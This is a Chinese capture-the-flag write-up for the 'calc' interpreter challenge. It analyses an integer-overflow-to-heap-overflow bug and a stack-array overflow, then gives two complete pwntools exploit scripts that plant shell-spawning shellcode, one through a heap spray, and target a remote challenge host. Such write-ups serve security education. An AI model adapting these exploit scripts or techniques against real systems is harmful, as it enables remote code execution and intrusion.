本题可以看作是一个简单解释器,输入程序指令,输出解释执行的结果。不过解释器的功能比较少,只支持变量定义以及几个预设函数的调用。 这个题目PIE和NX都是没有开的,我猜测出题人不开NX是为了与解释性语言的JIT page呼应(当然只是我的猜测
漏洞分析
本题有两个漏洞,一个是整数溢出漏洞,另一个是堆溢出漏洞
mul整数溢出漏洞
int mul(){
....
else if ( !strcmp(v8->vartype, "str") && !strcmp(v7->vartype, "int") )
{
time = (char *)v7->value;
dest = (char *)calloc(v8->varlength * (unsigned int)v7->value + 1, 1u);
//integer overflow!!!
v9 = dest;
if ( !dest )
{
puts("memory error.");
exit(-1);
}
while ( 1 )
{
v2 = time--;
if ( !v2 )
break;
memcpy(dest, v8->value, v8->varlength); //heap overflow!!
dest += v8->varlength;
}
v3 = assign_str(globalvar, v9);
push((_DWORD *)var_stack, (int)v3);
}
....
}
如上,在mul函数在处理字符串与整数相乘时,在分配存储结果的内存时存在一个整数溢出漏洞。如果v8->varlength * v7->value > max_unsigned_int,那么calloc分配了的内存大小为v8->varlength * v7->value % max_unsigned_int,但是在接下来的memcpy过程中,系统会向这块内存填入v8->varlength * v7->value 大小的内存, 从而造成了堆溢出。
var_stack func_stack的堆溢出漏洞
void __cdecl __noreturn main(){
.....
vardatabase = (int **)calloc10();
var_stack = (int)calloc84();
func_stack = (int)calloc84();
.....
while ( 1 )
{
memset(&s, 0, 0x100u);
printf("> ");
if ( !fgets(&s, 0x100, stdin) )
break;
v11 = strrchr(&s, '\n');
if ( v11 )
*v11 = 0;
parse(&s);
}
.....
}
int __cdecl parse(char *s){
s1 = strtok(s, " ");
while ( s1 ){
.....
if ( !strcmp(v20->vartype, "function") )
push((_DWORD *)func_stack, (int)v20);
else
push((_DWORD *)var_stack, (int)v20);
.....
}
}
可以看到,var_stack和func_stack的大小为0x84,但是在parse函数中没有对输入的s进行检查,输入为一堆空格隔开的字符串/整数/函数时,var_stack或func_stack就会溢出。
漏洞利用
利用整数溢出漏洞
在漏洞分析时我们也看到,这个整数溢出漏洞会在memcpy时转换为堆溢出漏洞。有了堆溢出漏洞,接下来就怎样利用了。
在程序中,有如下结构体来存储需要解释执行的程序中的变量与函数。
00000000 cvar struc ; (sizeof=0x10, align=0x4, copyof_2)
00000000 varname dd ? ; offset
00000004 vartype dd ? ; offset
00000008 value dd ? ; offset
0000000C varlength dd ?
00000010 cvar ends
其中varname存有的是指向变量名的指针,vartype是变量类型,当vartype=”fuction”时,value指向一个函数,当vartype=”str”,value指向的是一个字符串。如果在堆溢出中,将value覆盖为要读的内存地址且将vartype改写为addr of “str”,则可以实现任意读。如果将value覆盖为shellcode的地址,且vartype改写为addr of “fuction”,则可以实现任意代码执行。
这个漏洞的利用有两个难点:
- 这个堆溢出会不断复制字符串到新的缓冲区,直到程序访问ummaped memory崩溃,我们要想办法让复制过程在达到我们溢出目的之后停下来
- 这个堆溢出可以越界写的内容是一个循环的字符串,即|content|content|content|content|,可说是有一定的限制,我们需要想办法在这种限制条件下完成我们的利用。
while ( 1 )
{
v2 = time--;
if ( !v2 )
break;
memcpy(dest, v8->value, v8->varlength); //heap overflow!!
dest += v8->varlength;
}
对于第一个问题,想让复制停下来有两个方法,一个是v2或者time=0,另一个是让v8->length=0,v2和time在栈上,所以很难通过堆溢出覆盖,但是v8->varlength在堆上,所以我们可以通过覆盖v8->value为指向0x00000000的内存,且v8->value为某次memcpy循环所写入的最后4个字节,那v8->varlength会在新一轮循环中被写为0,从而使这个漫长的复制过程停下来
对于第二个问题,其实很好解决,在本题中,我们想要覆盖的一个时cvar结构体,另一个是v8->value,只要通过对堆中的数据进行精心的排布,使其满足溢出点与最后一个需要覆盖的位置之间没有任何重要的数据,且覆盖cvar和覆盖v8->value在构造payload上没有任何冲突就可以了
还有一点值得说明的是,add函数在处理字符串+字符串最后是会把结果free掉的,所以我们可以通过调用add函数来在堆上留一个坑,从而控制溢出点在堆中的位置。
有了以上内容最后的利用就很简单了,第一次堆溢出覆盖cvar,将vartype覆盖为rodata上的字符串”str”,将value覆盖为bss上的堆地址,将varname随便覆盖为rodata段中的一个字符串(我用的spo0,调用spo0就可以泄漏位于bss上的堆地址。第二次堆溢出再次利用覆盖cvar,将vartype覆盖为rodata上的字符串function,将value覆盖为堆上的shellcode的地址,将varname随便覆盖为rodata段中的一个字符串(我用的bool)。再次输入bool就会get shell
当然shellcode什么的要提前在堆中准备好,另外为了不让溢出覆盖重要的数据结构,spo0和bool要在漏洞触发前先定义一次,以使其在字符串的索引树中有相应的节点。
利用堆溢出漏洞
在parse函数中,有这样的代码
int __cdecl parse(char *s){
......
s1 = strtok(s, " ");
while ( s1 ){
......
while ( !is_stored_zero((_DWORD *)func_stack) ){
v10 = pop((_DWORD *)func_stack);
(*(void (**)(void))(v10 + 8))();
}
......
}
}
int __cdecl pop(_DWORD *a1)
{
return a1[(*a1)-- + 1];
}
可以看出,var_stack和func_stack的前四个字节为索引,溢出var_stack所在的堆块,覆盖func_stack的索引为overflowed_index,那在(*(void (**)(void))(v10 + 8))();就相当call *(*(func_stack+ overflowed_index)+8),从而实现控制流劫持。
问题是overflowed_index只能是堆地址,那(func_stack+ overflowed_index)会访问到ummaped region。
解决方法就是heap spray, 讲道理这是我第一次在CTF题中碰到堆喷,以至于如果不是队友提醒我都没有注意到。我们向堆中喷大量”0x0c”*200+shellcode, 那因为堆被喷过的关系,(func_stack+ overflowed_index)会被mapped,而且*(func_stack+ overflowed_index)+8==0x0c0c0c0c,(*(void (**)(void))(v10 + 8))();会成功着陆到nop slide, 最终会调用shellcode拿到shell
Exploit
整数溢出版
from pwn import *;
port=20001
objname = "calc"
objpath = "./"+objname
io = process(objpath)
elf = ELF(objpath)
context(arch="i386", os="linux", log_level="debug")
context.terminal = ["tmux", "splitw", "-h"]
def readuntil(delim):
data = io.recvuntil(delim);
return data;
def readlen(len):
data = io.recv(len,1);
return data;
def readall():
data = io.recv(4096,10);
return data;
def write(data):
io.send(str(data));
sleep(0.1)
def writeline(data):
io.sendline(str(data));
sleep(0.1)
def addstr(a,b):
data="add";
data+=" \"";
data+=a
data+="\" \"";
data+=b
data+="\""
writeline(data);
def mulstr(a,b):
data="mul";
data+=" \"";
data+=a
data+="\" ";
data+=str(b);
writeline(data);
def varstr(a,b):
data="var ";
data+=a;
data+=" = \"";
data+=b;
data+="\"";
writeline(data);
def attack(ip=0):
global io
if ip != 0:
io = remote(ip,port)
bss_end=0x0804D0B8;
spo0=0x804AE82
var_stack=0x0804D0B4;
c_str=0x0804ae8b
c_func=0x0804ae99
varstr("shellcode","\x90"*100+asm(shellcraft.sh()))
varstr("spo0","test")
a="A" * 0x1a;
b="B" * 0x1a;
addstr(a,b);
varstr("spo0","padding_padding_padding_");
a=p32(spo0)+p32(c_str)+p32(var_stack)+"daaaeaaafaaa"+p32(bss_end)
b=153391691
mulstr(a,b);
readall()
readall()
writeline("spo0");
if ip!=0:
readuntil("\n> ")
heap=readuntil("\n");
heap=u32(heap[:-1]);
shellcode=heap+0x748+0x30
varstr("bool","test")
a="A" * 0x1a;
b="B" * 0x1a;
addstr(a,b);
varstr("bool","padding_padding_padding_");
a=p32(spo0)+p32(c_func)+p32(shellcode)+"daaaeaaafaaa"+p32(bss_end)
b=153391691
mulstr(a,b);
writeline("bool");
readall()
io.interactive();
attack("54.223.84.142")
堆溢出&堆喷版
from pwn import *;
port=20001
objname = "calc"
objpath = "./"+objname
io = process(objpath)
elf = ELF(objpath)
#context(arch="i386", os="linux", log_level="debug")
context.terminal = ["tmux", "splitw", "-h"]
def attach():
gdb.attach(io, execute="source bp")
def readuntil(delim):
data = io.recvuntil(delim);
return data;
def readlen(len):
data = io.recv(len,1);
return data;
def readall():
data = io.recv(4096,1);
return data;
def write(data):
io.send(str(data));
def writeline(data):
io.sendline(str(data));
def varstr(a,b):
data="var ";
data+=a;
data+=" = \"";
data+=b;
data+="\"";
writeline(data);
print readuntil(">")
def attack(ip=0):
global io
if ip != 0:
io = remote(ip,port)
spraydata=asm(shellcraft.sh());
spraydata=spraydata.rjust(200,"\x0c");
varstr("a","a");
for i in range(6000):
print i;
if i % 6000 == 0:
print "spraying %d"%(i)
writeline("* "+"\""+spraydata+"\""+" 500")
readuntil(">")
writeline("a "*50)
readuntil(">")
io.interactive();
#attack()
attack("54.223.84.142")